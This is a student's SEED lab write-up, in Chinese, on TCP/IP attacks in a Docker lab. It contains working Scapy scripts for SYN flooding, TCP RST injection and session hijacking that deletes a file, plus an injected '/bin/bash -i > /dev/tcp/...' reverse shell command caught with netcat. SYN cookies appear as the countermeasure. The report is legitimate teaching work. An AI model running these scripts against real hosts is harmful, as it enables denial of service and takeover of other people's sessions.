TCP/IP Attack Lab

57118229 袁超然

3 Task 1: SYN Flooding Attack

3.1 Task 1.1: Launching the Attack Using Python

```
[07/10/21]seed@VM:~/.../Labsetup$ dockps
44c0176a9138  seed-attacker
40d045f17ce6  user2-10.9.0.7
ccc212ab4152  user1-10.9.0.6
570d76be27f8  victim-10.9.0.5
[07/10/21]seed@VM:~/.../Labsetup$ docksh 57
root@570d76be27f8:/# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
```

进入 victim，并查看队列长度为 128。

```
root@570d76be27f8:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address
State
tcp        0      0 127.0.0.11:33429        0.0.0.0:*
LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*
LISTEN
```

查看当前连接情况，只有两个 tcp 连接，状态为 LISTEN。

```
root@570d76be27f8:/# sysctl -a |grep syncookies
net.ipv4.tcp_syncookies = 0
```

查看 syncookie，为 0，即此时 syn cookie 处于关闭状态。

```
root@VM:/volumes# chmod a+x synflood.py
root@VM:/volumes# synflood.py
```

登录 attacker 后，运行使用 python 编写的 SYN flood 程序：

程序代码如下：

```python
#!/usr/bin/env python3

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
        pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
        pkt[TCP].sport = getrandbits(16) # source port
        pkt[TCP].seq = getrandbits(32) # sequence number
        send(pkt, verbose = 0)
```

运行攻击程序后，再次查看 victim 的连接状态，可以看到许多 SYN_RECV 半连接，表明该端口已经拥堵：

```
root@570d76be27f8:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address
State
tcp        0      0 127.0.0.11:33429        0.0.0.0:*
LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*
LISTEN
tcp        0      0 10.9.0.5:23             124.107.159.76:18301
SYN_RECV
tcp        0      0 10.9.0.5:23             114.240.71.56:29632
SYN_RECV
tcp        0      0 10.9.0.5:23             79.147.185.30:34995
SYN_RECV
tcp        0      0 10.9.0.5:23             126.4.120.144:59893
SYN_RECV
tcp        0      0 10.9.0.5:23             59.89.73.93:41009
```

但是，登录用户机 10.9.0.6，尝试 telnet 远程登录客户机，依然可以成功：

```
root@40d045f17ce6:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
570d76be27f8 login: root
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
```

由于之前并没有使用过该机登录 victim，因此可以排除 mitigation mechanism 的可能，考虑 TCP 的重传机制，查看系统重传的次数：

```
root@570d76be27f8:/# sysctl net.ipv4.tcp_synack_retries
net.ipv4.tcp_synack_retries = 5
```

在 attacker 中同时运行多个 SYN Flood 程序，在并行数量超过 15 个后，再次尝试连接。

```
root@VM:/volumes# synflood.py &
[27] 250
root@VM:/volumes# synflood.py &
[28] 254
root@VM:/volumes# synflood.py &
[29] 262
root@VM:/volumes# synflood.py &
[30] 263
```

查看队列中的数量为 97，并使用 flush 命令清除 mitigation mechanism 的影响：

```
root@570d76be27f8:/# netstat -tna | grep SYN_RECV | wc -l
97
root@570d76be27f8:/# ip tcp_metrics flush
```

再次在 10.9.0.6 中尝试 telnet 远程连接 victim，发现失败，说明攻击成功：

```
root@40d045f17ce6:/# telnet 10.9.0.5
Trying 10.9.0.5...
atelnet: Unable to connect to remote host: Connection timed out
```

尝试改变队列大小，发现该数值所在文件为只读，无法更改：

```
root@570d76be27f8:/# sysctl -w net.ipv4.tcp_max_syn_backlog=60
sysctl: setting key "net.ipv4.tcp_max_syn_backlog": Read-only file
system
```

3.2 Task 1.2: Launch the Attack Using C

```
[07/10/21]seed@VM:~/.../volumes$ gcc -o synflood synflood.c
```

首先，在 VM 中使用 gcc 对 c 程序进行编译。

```
root@VM:/volumes# ls
mul.py  synflood  synflood.c  synflood.py
root@VM:/volumes# synflood 10.9.0.5 23
```

随后，登录 attacker，对 victim 进行 SYN flood 攻击。

```
root@ccc212ab4152:/# telnet 10.9.0.5
Trying 10.9.0.5...
```

尝试从 10.9.0.6 登录 victim，失败。

可以发现，该 C 程序达到了攻击效果，相比于 Python 程序，C 程序的速度较快，能够在于 VB 的较量中获胜。

3.3 Task 1.3: Enable the SYN Cookie Countermeasure

首先，查看 SYN Cookie 是否开启，显示关闭。随后，尝试重置为开启，失败：

```
root@570d76be27f8:/# sysctl -w net.ipv4.tcp_syncookies=1
sysctl: setting key "net.ipv4.tcp_syncookies": Read-only file syste
m
```

关闭 dockers，在 yml 文件中更改 syncookies 值为 1：

```
Victim:
    image: handsonsecurity/seed-ubuntu:large
    container_name: victim-10.9.0.5
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.tcp_syncookies=1
```

再次开启 docker 后，在 victim 中查看，发现成功开启：

```
root@95206d7c9607:/# sysctl -a | grep syncookies
net.ipv4.tcp_syncookies = 1
```

在 attacker 中尝试攻击：

```
root@VM:/volumes# synflood 10.0.9.5 23
```

查看 victim 的连接状态，发现没有改变，说明 SYN cookie 机制成功阻挡了 SYN Flooding Attack。

```
root@95206d7c9607:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address
 State
tcp        0      0 0.0.0.0:23              0.0.0.0:*
 LISTEN
tcp        0      0 127.0.0.11:38713        0.0.0.0:*
 LISTEN
```

4 Task 2: TCP RST Attacks on telnet Connections

首先，尝试从 victim(10.9.0.5)使用 telnet 远程登录客户机 10.9.0.7，同时打开 Wireshark，查看最后的 TCP 报文如下：

```
Transmission Control Protocol, Src Port: 39790, Dst Port: 23, Seq: 3913791327, Ack: 1455305493,
  Source Port: 39790
  Destination Port: 23
  [Stream index: 2]
  [TCP Segment Len: 0]
  Sequence number: 3913791327
  [Next sequence number: 3913791327]
  Acknowledgment number: 1455305493
  1000 .... = Header Length: 32 bytes (8)
```

根据该报文信息，构建如下的报文伪造程序。其中，因为最后的报文没有附带的字节，所以 Ack 和 seq 值都不需要变化：

```
1 #!/usr/bin/env python3
2 from scapy.all import *
3 ip = IP(src='10.9.0.5', dst='10.9.0.7')
4 tcp = TCP(sport=39790, dport=23, flags="R",
  seq=3913791327, ack=1455305493)
5 pkt = ip/tcp
6 ls(pkt)
7 send(pkt,verbose=0)
```

登录 Attacker 运行如上程序，再次查看 telnet 登录端，发现 telnet 连接终端：

```
Last login: Sun Jul 11 15:08:09 UTC 2021 from victim-10.9.0.5.net-10.9.0.0 on pt
s/1
root@89046ed1b19a:~# Connection closed by foreign host.
```

5 Task 3: TCP Session Hijacking

登录 victim 后，使用 touch 命令新建一个文件：

```
root@81c506763402:~# touch cr.txt
root@81c506763402:~# ls
cr.txt
```

从 10.9.0.6 使用 telnet 远程连接到 victim 上，并打开 Wireshark 监听：

```
Transmission Control Protocol, Src Port: 42892, Dst Port: 23, Seq: 3795712913, Ack: 1940597292,
  Source Port: 42892
  Destination Port: 23
  [Stream index: 0]
  [TCP Segment Len: 0]
  Sequence number: 3795712913
  [Next sequence number: 3795712913]
  Acknowledgment number: 1940597292
  1000 .... = Header Length: 32 bytes (8)
▸ Flags: 0x010 (ACK)
```

根据最后一个报文修改程序的相应，并将信息修改为删除相应文件的信息。

```
1 #!/usr/bin/env python3
2 from scapy.all import *
3 ip = IP(src="10.9.0.6", dst="10.9.0.5")
4 tcp = TCP(sport=43004, dport=23, seq=3308222228,
  ack=2523313848, flags="A")
5 data =  "rm cr.txt\r"
6 pkt = ip/tcp/data
7 ls(pkt)
8 send(pkt,verbose=0)
```

连接 attacker 后，运行以上程序，再次打开 victim 的原文件夹，发现文件被删除，攻击成功：

```
root@81c506763402:~# ls
cr.txt
root@81c506763402:~# ls
root@81c506763402:~#
```

同时，telnet 连接的 shell 无法使用，说明连接终端，攻击同时也达到了 RST 的效果：

```
root@81c506763402:~#
```

6 Task 4: Creating Reverse Shell using TCP Session Hijacking

如前，从 10.9.0.6 使用 telnet 远程连接到 victim 上，并打开 Wireshark 监听；
根据最后一个报文修改 Task2 的程序，并将信息更改为：
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"

```
1 #!/usr/bin/env python3
2 from scapy.all import *
3 ip = IP(src="10.9.0.6", dst="10.9.0.5")
4 tcp = TCP(sport=42954, dport=23, seq=789483228,
  ack=1302758687, flags="A")
5 data =  "/bin/bash -i > /dev/tcp/10.9.0.1/9090
  0<&1 2>&1\r"
6 pkt = ip/tcp/data
7 ls(pkt)
8 send(pkt,verbose=0)
```

接下来，连接两个 shell 到 attacker，其中一个 shell 执行攻击，如图：

```
root@VM:/volumes# Hijack.py
version    : BitField  (4 bits)                = 4
(4)
ihl        : BitField  (4 bits)                = None
(None)
tos        : XByteField                        = 0
(0)
len        : ShortField                        = None
(None)
id         : ShortField                        = 1
(1)
flags      : FlagsField  (3 bits)              = <Flag 0 ()>
(<Flag 0 ()>)
frag       : BitField  (13 bits)               = 0
(0)
```

另一个 shell 监听本机 9090 端口，执行攻击成功后如图：

```
[07/11/21]seed@VM:~/.../Labsetup$ docksh f2
root@VM:/# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 36526
root@749fdf6f0932:~#
```